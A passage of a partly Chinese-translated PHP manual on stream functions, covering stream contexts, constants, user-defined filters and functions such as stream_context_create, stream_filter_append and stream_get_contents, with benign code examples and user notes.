A context is a set of parameters and wrapper specific options which modify or enhance the behavior of a stream. Contexts are created using stream_context_create() and can be passed to most filesystem related stream creation functions (i.e. fopen(), file(), file_get_contents(), etc...).

Options can be specified when calling stream_context_create(), or later using stream_context_set_option(). A list of wrapper specific options can be found with the list of built-in wrappers (See 附录 L).

In addition, parameters may be set on a context using stream_context_set_params(). Currently the only context parameter supported by PHP is notification. The value of this parameter must be the name of a function to be called when an event occurs on a stream. The notification function called during an event should accept the following six parameters:

void my_notifier ( int notification_code, int severity, string message, int message_code, int bytes_transferred, int bytes_max )

notification_code and severity are numerical values which correspond to the STREAM_NOTIFY_* constants listed below. If a descriptive message is available from the stream, message and message_code will be populated with the appropriate values. The meaning of these values is dependent on the specific wrapper in use. bytes_transferred and bytes_max will be populated when applicable.

安装

Streams are an integral part of PHP as of version 4.3.0. No steps are required to enable them.

Stream Classes

User designed wrappers can be registered via stream_wrapper_register(), using the class definition shown on that manual page.

class php_user_filter is predefined and is an abstract baseclass for use with user defined filters. See the manual page for stream_filter_register() for details on implementing user defined filters.

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

Constant | Description
STREAM_FILTER_READ * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when reading
STREAM_FILTER_WRITE * | Used with stream_filter_append() and stream_filter_prepend() to indicate that the specified filter should only be applied when writing
STREAM_FILTER_ALL * | This constant is equivalent to STREAM_FILTER_READ | STREAM_FILTER_WRITE
PSFS_PASS_ON * | Return Code indicating that the userspace filter returned buckets in $out.
PSFS_FEED_ME * | Return Code indicating that the userspace filter did not return buckets in $out (i.e. No data available).
PSFS_ERR_FATAL * | Return Code indicating that the userspace filter encountered an unrecoverable error (i.e. Invalid data received).
STREAM_USE_PATH | Flag indicating if the stream used the include path.
STREAM_REPORT_ERRORS | Flag indicating if the wrapper is responsible for raising errors using trigger_error() during opening of the stream. If this flag is not set, you should not raise any errors.
STREAM_CLIENT_ASYNC_CONNECT * | Open client socket asynchronously. This option must be used together with the STREAM_CLIENT_CONNECT flag. Used with stream_socket_client().
STREAM_CLIENT_CONNECT * | Open client socket connection. Client sockets should always include this flag. Used with stream_socket_client().
STREAM_CLIENT_PERSISTENT * | Client socket opened with stream_socket_client() should remain persistent between page loads.
STREAM_SERVER_BIND * | Tells a stream created with stream_socket_server() to bind to the specified target. Server sockets should always include this flag.
STREAM_SERVER_LISTEN * | Tells a stream created with stream_socket_server() and bound using the STREAM_SERVER_BIND flag to start listening on the socket. Connection-orientated transports (such as TCP) must use this flag, otherwise the server socket will not be enabled. Using this flag for connect-less transports (such as UDP) is an error.
STREAM_NOTIFY_RESOLVE * | A remote address required for this stream has been resolved, or the resolution failed. See severity for an indication of which happened.
STREAM_NOTIFY_CONNECT | A connection with an external resource has been established.
STREAM_NOTIFY_AUTH_REQUIRED | Additional authorization is required to access the specified resource. Typical issued with severity level of STREAM_NOTIFY_SEVERITY_ERR.
STREAM_NOTIFY_MIME_TYPE_IS | The mime-type of resource has been identified, refer to message for a description of the discovered type.
STREAM_NOTIFY_FILE_SIZE_IS | The size of the resource has been discovered.
STREAM_NOTIFY_REDIRECTED | The external resource has redirected the stream to an alternate location. Refer to message.
STREAM_NOTIFY_PROGRESS | Indicates current progress of the stream transfer in bytes_transferred and possibly bytes_max as well.
STREAM_NOTIFY_COMPLETED * | There is no more data available on the stream.
STREAM_NOTIFY_FAILURE | A generic error occurred on the stream, consult message and message_code for details.
STREAM_NOTIFY_AUTH_RESULT | Authorization has been completed (with or without success).
STREAM_NOTIFY_SEVERITY_INFO | Normal, non-error related, notification.
STREAM_NOTIFY_SEVERITY_WARN | Non critical error condition. Processing may continue.
STREAM_NOTIFY_SEVERITY_ERR | A critical error occurred. Processing cannot continue.
STREAM_IPPROTO_ICMP + | Provides a ICMP socket.
STREAM_IPPROTO_IP + | Provides a IP socket.
STREAM_IPPROTO_RAW + | Provides a RAW socket.
STREAM_IPPROTO_TCP + | Provides a TCP socket.
STREAM_IPPROTO_UDP + | Provides a UDP socket.
STREAM_PF_INET + | Internet Protocol Version 4 (IPv4).
STREAM_PF_INET6 + | Internet Protocol Version 6 (IPv6).
STREAM_PF_UNIX + | Unix system internal protocols.
STREAM_SOCK_DGRAM + | Provides datagrams, which are connectionless messages (UDP, for example).
STREAM_SOCK_RAW + | Provides a raw socket, which provides access to internal network protocols and interfaces. Usually this type of socket is just available to the root user.
STREAM_SOCK_RDM + | Provides a RDM (Reliably-delivered messages) socket.
STREAM_SOCK_SEQPACKET + | Provides a sequenced packet stream socket.
STREAM_SOCK_STREAM + | Provides sequenced, two-way byte streams with a transmission mechanism for out-of-band data (TCP, for example).

注: The constants marked with * are just available since PHP 5.0.0.

注: The constants marked with + are available since PHP 5.1.0 and are meant to be used with stream_socket_pair(). Please note that some of these constants might not be available in your system.

Stream Errors

As with any file or socket related function, an operation on a stream may fail for a variety of normal reasons (i.e.: Unable to connect to remote host, file not found, etc...). A stream related call may also fail because the desired stream is not registered on the running system. See the array returned by stream_get_wrappers() for a list of streams supported by your installation of PHP. As with most PHP internal functions if a failure occurs an E_WARNING message will be generated describing the nature of the error.

范例

例子 1. Using file_get_contents() to retrieve data from multiple sources

<?php
/* Read local file from /home/bar */
$localfile = file_get_contents("/home/bar/foo.txt");

/* Identical to above, explicitly naming FILE scheme */
$localfile = file_get_contents("file:///home/bar/foo.txt");

/* Read remote file from www.example.com using HTTP */
$httpfile  = file_get_contents("http://www.example.com/foo.txt");

/* Read remote file from www.example.com using HTTPS */
$httpsfile = file_get_contents("https://www.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTP */
$ftpfile   = file_get_contents("ftp://user:pass@ftp.example.com/foo.txt");

/* Read remote file from ftp.example.com using FTPS */
$ftpsfile  = file_get_contents("ftps://user:pass@ftp.example.com/foo.txt");
?>

例子 2. Making a POST request to an https server

<?php
/* Send POST request to https://secure.example.com/form_action.php
* Include form elements named "foo" and "bar" with dummy values
*/

$sock = fsockopen("ssl://secure.example.com", 443, $errno, $errstr, 30);
if (!$sock) die("$errstr ($errno)\n");

$data = "foo=" . urlencode("Value for Foo") . "&bar=" . urlencode("Value for Bar");

fwrite($sock, "POST /form_action.php HTTP/1.0\r\n");
fwrite($sock, "Host: secure.example.com\r\n");
fwrite($sock, "Content-type: application/x-www-form-urlencoded\r\n");
fwrite($sock, "Content-length: " . strlen($data) . "\r\n");
fwrite($sock, "Accept: */*\r\n");
fwrite($sock, "\r\n");
fwrite($sock, "$data\r\n");
fwrite($sock, "\r\n");

$headers = "";
while ($str = trim(fgets($sock, 4096)))
  $headers .= "$str\n";

echo "\n";

$body = "";
while (!feof($sock))
  $body .= fgets($sock, 4096);

fclose($sock);
?>

例子 3. Writing data to a compressed file

<?php
/* Create a compressed file containing an arbitrarty string
* File can be read back using compress.zlib stream or just
* decompressed from the command line using 'gzip -d foo-bar.txt.gz'
*/
$fp = fopen("compress.zlib://foo-bar.txt.gz", "wb");
if (!$fp) die("Unable to create file.");

fwrite($fp, "This is a test.\n");

fclose($fp);
?>

目录
stream_bucket_append -- Append bucket to brigade
stream_bucket_make_writeable -- Return a bucket object from the brigade for operating on
stream_bucket_new -- Create a new bucket for use on the current stream
stream_bucket_prepend -- Prepend bucket to brigade
stream_context_create -- Create a streams context
stream_context_get_default -- Retreive the default streams context
stream_context_get_options -- Retrieve options for a stream/wrapper/context
stream_context_set_option -- Sets an option for a stream/wrapper/context
stream_context_set_params -- Set parameters for a stream/wrapper/context
stream_copy_to_stream -- Copies data from one stream to another
stream_filter_append -- Attach a filter to a stream
stream_filter_prepend -- Attach a filter to a stream
stream_filter_register -- Register a stream filter implemented as a PHP class derived from php_user_filter
stream_filter_remove -- Remove a filter from a stream
stream_get_contents -- Reads remainder of a stream into a string
stream_get_filters -- Retrieve list of registered filters
stream_get_line -- Gets line from stream resource up to a given delimiter
stream_get_meta_data -- 从封装协议文件指针中取得报头／元数据
stream_get_transports -- Retrieve list of registered socket transports
stream_get_wrappers -- Retrieve list of registered streams
stream_register_wrapper -- Alias of stream_wrapper_register()
stream_select -- Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
stream_set_blocking -- Set blocking/non-blocking mode on a stream
stream_set_timeout -- Set timeout period on a stream
stream_set_write_buffer -- Sets file buffering on the given stream
stream_socket_accept -- Accept a connection on a socket created by stream_socket_server()
stream_socket_client -- Open Internet or Unix domain socket connection
stream_socket_enable_crypto -- Turns encryption on/off on an already connected socket
stream_socket_get_name -- Retrieve the name of the local or remote sockets
stream_socket_pair -- Creates a pair of connected, indistinguishable socket streams
stream_socket_recvfrom -- Receives data from a socket, connected or not
stream_socket_sendto -- Sends a message to a socket, whether it is connected or not
stream_socket_server -- Create an Internet or Unix domain server socket
stream_register_wrapper -- 注册一个用 PHP 类实现的 URL 封装协议
stream_wrapper_restore -- Restores a previously unregistered built-in wrapper
stream_wrapper_unregister -- Unregister a URL wrapper

add a note add a note User Contributed Notes
jausions at php dot net
16-May-2006 11:59
For the "notification" index of the $params for stream_context_set_params() function, a callable function is accepted. That is array(&$object, 'methodName') will also work.
add a note add a note

后退 | 起点 | 前进
spl_classes | 上一级 | stream_bucket_append


stream_bucket_append

(PHP 5)

stream_bucket_append -- Append bucket to brigade

说明

void stream_bucket_append ( resource brigade, resource bucket )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Stream Functions | 上一级 | stream_bucket_make_writeable


stream_bucket_make_writeable

(PHP 5)

stream_bucket_make_writeable -- Return a bucket object from the brigade for operating on

说明

object stream_bucket_make_writeable ( resource brigade )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_bucket_append | 上一级 | stream_bucket_new


stream_bucket_new

(PHP 5)

stream_bucket_new -- Create a new bucket for use on the current stream

说明

object stream_bucket_new ( resource stream, string buffer )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_bucket_make_writeable | 上一级 | stream_bucket_prepend


stream_bucket_prepend

(PHP 5)

stream_bucket_prepend -- Prepend bucket to brigade

说明

void stream_bucket_prepend ( resource brigade, resource bucket )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_bucket_new | 上一级 | stream_context_create


stream_context_create

(PHP 4 >= 4.3.0, PHP 5)

stream_context_create -- Create a streams context

Description

resource stream_context_create ( [array options] )

Creates and returns a stream context with any options supplied in options preset.

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value. It defaults to an empty array.

例子 1. Using stream_context_create()

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar\r\n"
  )
);

$context = stream_context_create($opts);

/* Sends an http request to www.example.com
   with additional headers shown above */
$fp = fopen('http://www.example.com', 'r', false, $context);
fpassthru($fp);
fclose($fp);
?>

See also stream_context_set_option(), and Listing of supported wrappers with context options (附录 L).

add a note add a note User Contributed Notes
dev at zayso dot org
06-Mar-2006 09:31
Example of a stream for reading a string passed
via a context object.
<?php
/* ----------------------------------------
 * Designed to read from a string
 */
class sfStreamStringRead
{
   const PROTOCOL = 'stringread'; /* Underscore not allowed */

   protected $dataPos  = NULL;
   protected $dataBuf  = NULL;
   protected $dataLen  = NULL;

   function stream_open($path, $mode, $options, &$opened_path)
   {
       /* Verify context has data */
       $contextOptions = stream_context_get_options($this->context);
       if (!isset($contextOptions[self::PROTOCOL]['data'])) {
           return FALSE;
       }
       $this->dataBuf = $contextOptions[self::PROTOCOL]['data'];
       $this->dataLen = strlen($this->dataBuf);
       $this->dataPos = 0;
       return TRUE;
   }
   function stream_read($count){
       $ret = substr($this->dataBuf, $this->dataPos, $count);
       $this->dataPos += strlen($ret);
       return $ret;
   }
   function stream_eof(){
       return $this->dataPos >= $this->dataLen;
   }
   function stream_tell(){
       return $this->dataPos;
   }
   /* ------------------------------------------
     * A few helper functions
     */
   static function genURL()
   {
       return self::PROTOCOL . '://';
   }
   static function genContext($dataBuf)
   {
       return stream_context_create(array(
           self::PROTOCOL => array(
               'data' => $dataBuf,
           ),
       ));
   }
   static function open($dataBuf)
   {
       return fopen(self::genURL(),'r',FALSE,self::genContext($dataBuf));
   }
}
stream_wrapper_register(
   sfStreamStringRead::PROTOCOL,
   'sfStreamStringRead'
);

$sp = sfStreamStringRead::open("Some String Data\n");
echo fgets($sp);
fclose($sp);

?>
net_navard at yahoo dot com
10-Dec-2005 02:38
Hi,you can create an array of parameters(what it's called a stream context),which can be transmitted each time you read or write a stream through a socket.In the below example:

$opts =array('http'=>arra('method'=>"GET",
'header'=>"Accept-language:en\r\n"."Cookie: foo=bar\r\n");

What you're actually doing is create a set of parameters(the protocol to be used,the request method,additional http headers and a cookie) which will be used each time you open a socket connection to request www.example.com.This saves a lot of time if you want to use these parameters (called a stream context) whenever you include them when making a request to www.example.com,instead of having to specify them over and over again.
Using the previous example,say you want to create a stream context,which sends a "Content-Type" http header and utilize it when making a request to www.example.com.Take a look:

$opts = array('http'=>array('method'=>"GET",
'header'=>"Content-Type: text/xml; charset=utf-8");

$context = stream_context_create($opts);
$fp = fopen('http://www.example.com','r',false,$context);
fpassthru($fp);
fclose($fp);

Now,when you make a request to www.example.com,the above http header will be included within the socket and transmitted to the server.Best of luck for you friends,Hossein
add a note add a note

后退 | 起点 | 前进
stream_bucket_prepend | 上一级 | stream_context_get_default


stream_context_get_default

(PHP 5 >= 5.1.0RC1)

stream_context_get_default -- Retreive the default streams context

Description

resource stream_context_get_default ( [array options] )

Returns the default stream context which is used whenever file operations (fopen(), file_get_contents(), etc...) are called without a context parameter. Options for the default context can optionally be specified with this function using the same syntax as stream_context_create().

options must be an associative array of associative arrays in the format $arr['wrapper']['option'] = $value.

例子 1. Using stream_context_get_default()

<?php
$default_opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"Accept-language: en\r\n" .
              "Cookie: foo=bar",
    'proxy'=>"tcp://10.54.1.39:8000"
  )
);

$alternate_opts = array(
  'http'=>array(
    'method'=>"POST",
    'header'=>"Content-type: application/x-www-form-urlencoded\r\n" .
              "Content-length: " . strlen("baz=bomb"),
    'content'=>"baz=bomb"
  )
);

$default = stream_context_get_default($default_opts);
$alternate = stream_context_create($alternate_opts);

/* Sends a regular GET request to proxy server at 10.54.1.39
* For www.example.com using context options specified in $default_opts
*/
readfile('http://www.example.com');

/* Sends a POST request directly to www.example.com
* Using context options specified in $alternate_opts
*/
readfile('http://www.example.com', false, $alternate);

?>

See also stream_context_create(), and Listing of supported wrappers with context options (附录 L).

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_context_create | 上一级 | stream_context_get_options


stream_context_get_options

(PHP 4 >= 4.3.0, PHP 5)

stream_context_get_options -- Retrieve options for a stream/wrapper/context

Description

array stream_context_get_options ( resource stream_or_context )

Returns an array of options on the specified stream or context.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_context_get_default | 上一级 | stream_context_set_option


stream_context_set_option

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_option -- Sets an option for a stream/wrapper/context

Description

bool stream_context_set_option ( resource stream_or_context, string wrapper, string option, mixed value )

bool stream_context_set_option ( resource stream_or_context, array options )

Sets an option on the specified context. value is set to option for wrapper

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_context_get_options | 上一级 | stream_context_set_params


stream_context_set_params

(PHP 4 >= 4.3.0, PHP 5)

stream_context_set_params -- Set parameters for a stream/wrapper/context

Description

bool stream_context_set_params ( resource stream_or_context, array params )

params should be an associative array of the structure: $params['paramname'] = "paramvalue";.

表格 1. Parameters

Parameters | Purpose
notification | Name of user-defined callback function to be called whenever a stream triggers a notification.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_context_set_option | 上一级 | stream_copy_to_stream


stream_copy_to_stream

(PHP 5)

stream_copy_to_stream -- Copies data from one stream to another

说明

int stream_copy_to_stream ( resource source, resource dest [, int maxlength [, int offset]] )

Makes a copy of up to maxlength bytes of data from the current position (or from the offset position, if specified) in source to dest. If maxlength is not specified, all remaining content in source will be copied.

参数

source

The source stream

dest

The destination stream

maxlength

Maximum bytes to copy

offset

The offset where to start to copy data

返回值

Returns the total count of bytes copied.

更新日志

版本 | 说明
5.1.0 | Added the offset parameter

范例

例子 1. A stream_copy_to_stream() example

<?php
$src = fopen('http://www.example.com', 'r');
$dest1 = fopen('first1k.txt', 'w');
$dest2 = fopen('remainder.txt', 'w');

echo stream_copy_to_stream($src, $dest1, 1024) . " bytes copied to first1k.txt\n";
echo stream_copy_to_stream($src, $dest2) . " bytes copied to remainder.txt\n";

?>

参见

copy()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_context_set_params | 上一级 | stream_filter_append


stream_filter_append

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_append -- Attach a filter to a stream

Description

resource stream_filter_append ( resource stream, string filtername [, int read_write [, mixed params]] )

Adds filtername to the list of filters attached to stream. This filter will be added with the specified params to the end of the list and will therefore be called last during stream operations. To add a filter to the beginning of the list, use stream_filter_prepend().

By default, stream_filter_append() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior.

As of PHP 5.1.0, this function returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove(). Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

例子 1. Controlling where filters are applied

<?php
/* Open a test file for reading and writing */
$fp = fopen("test.txt", "rw");

/* Apply the ROT13 filter to the
* write filter chain, but not the
* read filter chain */
stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);

/* Write a simple string to the file
* it will be ROT13 transformed on the
* way out */
fwrite($fp, "This is a test\n");

/* Back up to the beginning of the file */
rewind($fp);

/* Read the contents of the file back out.
* Had the filter been applied to the
* read filter chain as well, we would see
* the text ROT13ed back to its original state */
fpassthru($fp);

fclose($fp);

/* Expected Output
   ---------------

Guvf vf n grfg

*/
?>

When using custom (user) filters: stream_filter_register() must be called first in order to register the desired user filter to filtername.

注: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is appended to a stream, data in the internal buffers is processed through the new filter at that time. This differs from the behavior of stream_filter_prepend().

See also
stream_filter_register(),
stream_filter_prepend(), and
stream_get_filters().

add a note add a note User Contributed Notes
net_navard at yahoo dot com
13-Dec-2005 02:47
Hello firends

The difference betweem adding a stream filter first or last in the filte list in only the order they will be applied to streams.

For example, if you're reading data from a file, and a given filter is placed in first place with stream_filter_prepend()the data will be processed by that filter first.

This example reads out file data and the filter is applied at the beginning of the reading operation:

<?php
/* Open a test file for reading */
$fp = fopen("test.txt", "r");
/* Apply the ROT13 filter to the
 * read filter chain, but not the
 * write filter chain */
stream_filter_prepend($fp, "string.rot13",
STREAM_FILTER_READ);
// read file data
$contents=fread($fp,1024);
// file data is first filtered and stored in $contents
echo $contents;
fclose($fp);
?>

On the other hand, if stream_filter_append() is used, then the filter will be applied at the end of the data operation. The thing about this is only the order filters are applied to streams. Back to the example, it's not the same thing removing new lines from file data and then counting the number of characters, than performing the inverse process. In this case, the order that filters are applied to stream is important.

This example writes a test string to a file. The filter is applied at the end of the writing operation:

<?php
/* Open a test file for writing */
$fp = fopen("test.txt", "w+");
/* Apply the ROT13 filter to the
 * write filter chain, but not the
 * read filter chain */
stream_filter_append($fp, "string.rot13",
STREAM_FILTER_WRITE);
/* Write a simple string to the file
 * it will be ROT13 transformed at the end of the
stream operation
 * way out */
fwrite($fp, "This is a test\n"); // string data is
first written, then ROT13 tranformed and lastly
written to file
/* Back up to the beginning of the file */
rewind($fp);
$contents=fread($fp,512);
fclose($fp);
echo $contents;
?>

In the first case, data is transformed at the end of the writing operation, while in the second one, data is first filtered and then stored in $contents.

                         With Regards
                             Hossein
add a note add a note

后退 | 起点 | 前进
stream_copy_to_stream | 上一级 | stream_filter_prepend


stream_filter_prepend

(PHP 4 >= 4.3.0, PHP 5)

stream_filter_prepend -- Attach a filter to a stream

Description

resource stream_filter_prepend ( resource stream, string filtername [, int read_write [, mixed params]] )

Adds filtername to the list of filters attached to stream. This filter will be added with the specified params to the beginning of the list and will therefore be called first during stream operations. To add a filter to the end of the list, use stream_filter_append().

By default, stream_filter_prepend() will attach the filter to the read filter chain if the file was opened for reading (i.e. File Mode: r, and/or +). The filter will also be attached to the write filter chain if the file was opened for writing (i.e. File Mode: w, a, and/or +). STREAM_FILTER_READ, STREAM_FILTER_WRITE, and/or STREAM_FILTER_ALL can also be passed to the read_write parameter to override this behavior. See stream_filter_append() for an example of using this parameter.

As of PHP 5.1.0, this function returns a resource which can be used to refer to this filter instance during a call to stream_filter_remove(). Prior to PHP 5.1.0, this function returns TRUE on success or FALSE on failure.

When using custom (user) filters: stream_filter_register() must be called first in order to register the desired user filter to filtername.

注: Stream data is read from resources (both local and remote) in chunks, with any unconsumed data kept in internal buffers. When a new filter is prepended to a stream, data in the internal buffers, which has already been processed through other filters will not be reprocessed through the new filter at that time. This differs from the behavior of stream_filter_append().

See also stream_filter_register(), and stream_filter_append().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_filter_append | 上一级 | stream_filter_register


stream_filter_register

(PHP 5)

stream_filter_register -- Register a stream filter implemented as a PHP class derived from php_user_filter

Description

bool stream_filter_register ( string filtername, string classname )

stream_filter_register() allows you to implement your own filter on any registered stream used with all the other filesystem functions (such as fopen(), fread() etc.).

To implement a filter, you need to define a class as an extension of php_user_filter with a number of member functions as defined below. When performing read/write operations on the stream to which your filter is attached, PHP will pass the data through your filter (and any other filters attached to that stream) so that the data may be modified as desired. You must implement the methods exactly as described below - doing otherwise will lead to undefined behaviour.

stream_filter_register() will return FALSE if the filtername is already defined.

int filter ( resource in, resource out, int &consumed, bool closing )

This method is called whenever data is read from or written to the attached stream (such as with fread() or fwrite()). in is a resource pointing to a bucket brigade which contains one or more bucket objects containing data to be filtered. out is a resource pointing to a second bucket brigade into which your modified buckets should be placed. consumed, which must always be declared by reference, should be incremented by the length of the data which your filter reads in and alters. In most cases this means you will increment consumed by $bucket->datalen for each $bucket. If the stream is in the process of closing (and therefore this is the last pass through the filterchain), the closing parameter will be set to TRUE The filter method must return one of three values upon completion.

Return Value | Meaning
PSFS_PASS_ON | Filter processed successfully with data available in the out bucket brigade.
PSFS_FEED_ME | Filter processed successfully, however no data was available to return. More data is required from the stream or prior filter.
PSFS_ERR_FATAL (default) | The filter experienced an unrecoverable error and cannot continue.

bool onCreate ( void )

This method is called during instantiation of the filter class object. If your filter allocates or initializes any other resources (such as a buffer), this is the place to do it. Your implementation of this method should return FALSE on failure, or TRUE on success.

When your filter is first instantiated, and yourfilter->onCreate() is called, a number of properties will be available as shown in the table below.

Property | Contents
FilterClass->filtername | A string containing the name the filter was instantiated with. Filters may be registered under multiple names or under wildcards. Use this property to determine which name was used.
FilterClass->params | The contents of the params parameter passed to stream_filter_append() or stream_filter_prepend().

void onClose ( void )

This method is called upon filter shutdown (typically, this is also during stream shutdown), and is executed after the flush method is called. If any resources were allocated or initialzed during onCreate this would be the time to destroy or dispose of them.

The example below implements a filter named strtoupper on the foo-bar.txt stream which will capitalize all letter characters written to/read from that stream.

例子 1. Filter for capitalizing characters on foo-bar.txt stream

<?php

/* Define our filter class */
class strtoupper_filter extends php_user_filter {
  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      $bucket->data = strtoupper($bucket->data);
      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }
}

/* Register our filter with PHP */
stream_filter_register("strtoupper", "strtoupper_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened */
stream_filter_append($fp, "strtoupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
*/
readfile("foo-bar.txt");

?>

上例将输出：

LINE1
WORD - 2
EASY AS 123

例子 2. Registering a generic filter class to match multiple filter names.

<?php

/* Define our filter class */
class string_filter extends php_user_filter {
  var $mode;

  function filter($in, $out, &$consumed, $closing)
  {
    while ($bucket = stream_bucket_make_writeable($in)) {
      if ($this->mode == 1) {
        $bucket->data = strtoupper($bucket->data);
      } elseif ($this->mode == 0) {
        $bucket->data = strtolower($bucket->data);
      }

      $consumed += $bucket->datalen;
      stream_bucket_append($out, $bucket);
    }
    return PSFS_PASS_ON;
  }

  function onCreate()
  {
    if ($this->filtername == 'str.toupper') {
      $this->mode = 1;
    } elseif ($this->filtername == 'str.tolower') {
      $this->mode = 0;
    } else {
      /* Some other str.* filter was asked for,
         report failure so that PHP will keep looking */
      return false;
    }

    return true;
  }
}

/* Register our filter with PHP */
stream_filter_register("str.*", "string_filter")
    or die("Failed to register filter");

$fp = fopen("foo-bar.txt", "w");

/* Attach the registered filter to the stream just opened
   We could alternately bind to str.tolower here */
stream_filter_append($fp, "str.toupper");

fwrite($fp, "Line1\n");
fwrite($fp, "Word - 2\n");
fwrite($fp, "Easy As 123\n");

fclose($fp);

/* Read the contents back out
*/
readfile("foo-bar.txt");
?>

上例将输出：

LINE1
WORD - 2
EASY AS 123

See also
stream_wrapper_register(),
stream_filter_prepend(), and
stream_filter_append().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_filter_prepend | 上一级 | stream_filter_remove


stream_filter_remove

(PHP 5 >= 5.1.0RC1)

stream_filter_remove -- Remove a filter from a stream

Description

bool stream_filter_remove ( resource stream_filter )

Removes a stream filter previously added to a stream with stream_filter_prepend() or stream_filter_append(). Any data remaining in the filter's internal buffer will be flushed through to the next filter before removing it.

例子 1. Dynamicly refiltering a stream

<?php
/* Open a test file for reading and writing */
$fp = fopen("test.txt", "rw");

$rot13_filter = stream_filter_append($fp, "string.rot13", STREAM_FILTER_WRITE);
fwrite($fp, "This is ");
stream_filter_remove($rot13_filter);
fwrite($fp, "a test\n");

rewind($fp);
fpassthru($fp);
fclose($fp);

/* Expected Output
   ---------------

Guvf vf a test

*/
?>

See also
stream_filter_register(),
stream_filter_append(), and
stream_filter_prepend().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_filter_register | 上一级 | stream_get_contents


stream_get_contents

(PHP 5)

stream_get_contents -- Reads remainder of a stream into a string

Description

string stream_get_contents ( resource handle [, int maxlength [, int offset]] )

Identical to file_get_contents(), except that stream_get_contents() operates on an already open stream resource and returns the remaining contents in a string, up to maxlength bytes and starting at the specified offset.

参数

handle (resource)

A stream resource (e.g. returned from fopen())

maxlength (integer)

The maximum bytes to read. Defaults to -1 (read all the remaining buffer).

offset (integer)

Seek to the specified offset before reading. Added in PHP 5.1.0.

返回值

Returns a string, or FALSE on failure.

范例

例子 1. stream_get_contents() example

<?php

if ($stream = fopen('http://www.example.com', 'r')) {
    // print all the page starting at the offset 10
    echo stream_get_contents($stream, -1, 10);

    fclose($stream);
}

if ($stream = fopen('http://www.example.net', 'r')) {
    // print the first 5 bytes
    echo stream_get_contents($stream, 5);

    fclose($stream);
}

?>

参见

fgets()
fread()
fpassthru()

注: 本函数可安全用于二进制对象。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
stream_filter_remove | 上一级 | stream_get_filters


stream_get_filters

(PHP 5)

stream_get_filters -- Retrieve list of registered filters

Description

array stream_get_filters ( void )

Returns an indexed array containing the name of all stream filters available on the running system.

例子 1. Using stream_get_filters()

<?php
$streamlist = stream_get_filters();
print_r($streamlist);
?>

Output will be similar to the following. Note: there may be more or fewer filters in your version of PHP.

Array (
  [0] => string.rot13
  [1] => string.toupper
  [2] => string.tolower
  [3] => string.base64
  [4] => string.quoted-printable
)

See also stream_filter_register(), and stream_get_wrappers().

add a note add a note User Contributed Notes
Jasper Bekkers
06-Oct-2005 02:53
Filters to be used within the convert filter are base64-encode,  base64-decode, quoted-printable-encode and quoted-printable-decode. Note: those are not in the string filter, as currently reported by the manual!

Example usage is:
<?php
$h = fopen('gecodeerd.txt', 'r');
stream_filter_append($h, 'convert.base64-decode');
fpassthru($h);
fclose($h);
?>
Or
<?php
$filter = 'convert.base64-decode';
$file = 'coded.txt';
$h = fopen('php://filter/read=' . $filter . '/resource=' . $file,'r');
fpassthru($h);
fclose($h);
?>
add a note add a note

后退 | 起点 | 前进
stream_get_contents | 上一级 | stream_get_line


stream_get_line

(PHP 5)

stream_get_line -- Gets line from stream resource up to a given delimiter

Description

string stream_get_line ( resource handle, int length [, string ending] )

Returns a string of up to length bytes read from the file pointed to by handle. Reading ends when length bytes have been read, when the string specified by ending is found (which is not included in the return value), or on EOF (whichever comes first).

If an error occurs, returns FALSE.

This function is nearly identical to fgets() except in that it allows end of line delimiters other than the standard \n, \r, and \r\n, and does not return the delimiter itself.

See also fread(),
fgets(), and
fgetc().

add a note add a note User Contributed Notes
dante at lorenso dot com
09-Jun-2006 03:34
My testing has found this function to be dramatically faster than fgets on PHP 5.1.14.  The difference is probably due to how buffering is used internally.  Compare the following:
<?php
// reads 10,000 lines in 27 seconds
while (!feof($handle)) {
